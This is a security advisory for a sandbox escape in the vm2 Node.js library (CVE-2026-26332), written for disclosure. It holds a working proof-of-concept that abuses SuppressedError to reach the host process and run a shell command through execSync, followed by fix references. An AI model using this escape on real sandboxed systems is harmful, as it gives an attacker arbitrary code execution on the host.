GHSA-55hx-c926-fr95
VM2 Has a Sandbox Escape Issue via SuppressedError
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.
### PoC
```js
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95
- https://nvd.nist.gov/vuln/detail/CVE-2026-26332
- https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0
- https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f
- https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca
- https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d
- https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338
- https://access.redhat.com/security/cve/CVE-2026-26332
- https://bugzilla.redhat.com/show_bug.cgi?id=2466508
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26332.json